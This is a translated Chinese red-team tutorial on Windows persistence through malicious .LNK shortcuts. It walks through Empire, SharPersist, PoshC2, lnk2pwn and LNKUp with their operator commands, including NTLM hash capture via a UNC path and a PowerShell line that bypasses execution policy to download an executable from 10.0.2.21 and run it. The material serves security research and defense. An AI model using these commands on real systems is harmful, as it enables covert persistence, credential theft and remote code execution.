Window許可權維持(四):快捷方式——poshc2、empire這些通過lnk的無檔案攻擊值得注意
Window許可權維持(四):快捷方式
系統安全 Bypass007 2019-12-04 8,935Windows快捷方式包含對系統上安裝的軟體或檔案位置(網路或本地)的引用。自從惡意軟體出現之初,便已將快捷方式用作執行惡意程式碼以實現永續性的一種方法。快捷方式的副檔名是.LNK,它為紅隊提供了很多機會來執行各種格式的程式碼(exe,vbs,Powershell,scriptlet等)或竊取NTLM雜湊值。更隱蔽的方法是修改現有合法快捷方式的屬性,但是生成具有不同特徵的快捷方式可以為程式碼執行提供靈活性。
Empire
Empire包含一個永續性模組,該模組可以後門合法的快捷方式(.LNK),以執行任意的PowerShell有效負載。現有快捷方式的目標欄位將被修改以執行儲存在登錄檔項中的base64指令碼。
usemodule persistence/userland/backdoor_lnk
Empire–後門現有快捷方式
檢視快捷方式的屬性將顯示目標欄位已成功修改以執行PowerShell有效負載。
Empire-修改後的快捷方式
由於快捷方式存在於啟動資料夾中,因此暫存器將在下一次Windows登入中執行,並且將與命令和控制伺服器建立連線。
Empire-通過快捷方式成功上線
但是,Empire包含一個可用於生成具有LNK檔案格式的暫存器的模組。
usestager windows/launcher_lnk
set Listener http
execute
Empire-建立快捷方式
預設情況下,此模組將使用寫字板圖示偽裝成可信任的應用程式。
Empire-寫字板快捷方式
快捷方式的目標欄位將使用執行Base64有效負載的PowerShell命令填充。可以將快捷方式轉移並移動到啟動資料夾中以保持永續性。
Empire-快捷屬性
SharPersist
SharPersist能夠建立Internet Explorer快捷方式,該快捷方式將執行任意有效負載並將其放置在啟動資料夾中以實現永續性。
SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:temppentestlab.exe" -f "pentestlab" -m add
SharPersist –快捷方式
當用戶進行身份驗證時,將執行有效負載,並開啟Meterpreter會話.
SharPersist – Meterpreter
PoshC2
PoshC2可以建立一個LNK檔案並將其直接放置在Windows啟動資料夾中以保持永續性。可以通過執行以下命令來呼叫此技術:
install-persistence 3
PoshC2 –啟動LNK檔案
在Windows登入期間,快捷方式將嘗試在登錄檔項上執行值,該登錄檔項包含base64格式的stager。
PoshC2 –快捷方式
雜項
PoshC
在常見的紅色團隊工具包之外,還有多個指令碼可用於開發惡意快捷方式。將這些快捷方式放置在啟動資料夾中以保持永續性將是一個微不足道的過程,因為假定已經存在與命令和控制伺服器的通訊。
lnk2pwn是用Java編寫的工具,可用於製作惡意快捷方式。可以通過命令控制檯在生成快捷方式期間嵌入任意命令。
java -jar lnk2pwn.jar
lnk2pwn – GUI
預設情況下,lnk2pwn將生成偽造的記事本快捷方式,但是可以輕鬆更改圖示。
lnk2pwn –假記事本快捷方式
使用LNKUp python指令碼可以實現類似的結果,該指令碼可以生成可以執行任意命令或竊取目標使用者的NTLM雜湊的快捷方式。
python generate.py --host 10.0.2.21 --type ntlm --output out.lnk
LNKUp – NTLM雜湊快捷方式
由於生成的LNK檔案將包含UNC路徑,因此需要使用響應器,或者具有捕獲NTLM雜湊值的Metasploit模組。
use auxiliary/server/capture/smb
LNKUp – NTLM捕獲
密碼雜湊可以用於離線破解或NTLM中繼攻擊,以便訪問其他系統或使用者的電子郵件。LNKUp還具有生成將執行任意命令的快捷方式的功能。
python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --execute "cmd.exe /c C:temppentestlab.exe"
LNKUp –執行命令
xillwillx開發了一個名為ricky.lnk的PowerShell指令碼,該指令碼可以建立一個以.unik字元欺騙的.LNK檔案,該字元反轉.lnk副檔名並在檔案末尾附加.txt。生成的副檔名將包含一個PowerShell命令,該命令將從遠端伺服器下載檔案並直接在系統上執行。
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;
Tricky2 – PowerShell
或者,該專案包含一個VBS指令碼,該指令碼可以執行與PowerShell版本相同的操作。
Tricky – VBS指令碼
譯文宣告:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。 原文地址:https://pentestlab.blog/2019/10/08/persistence-shortcut-modification/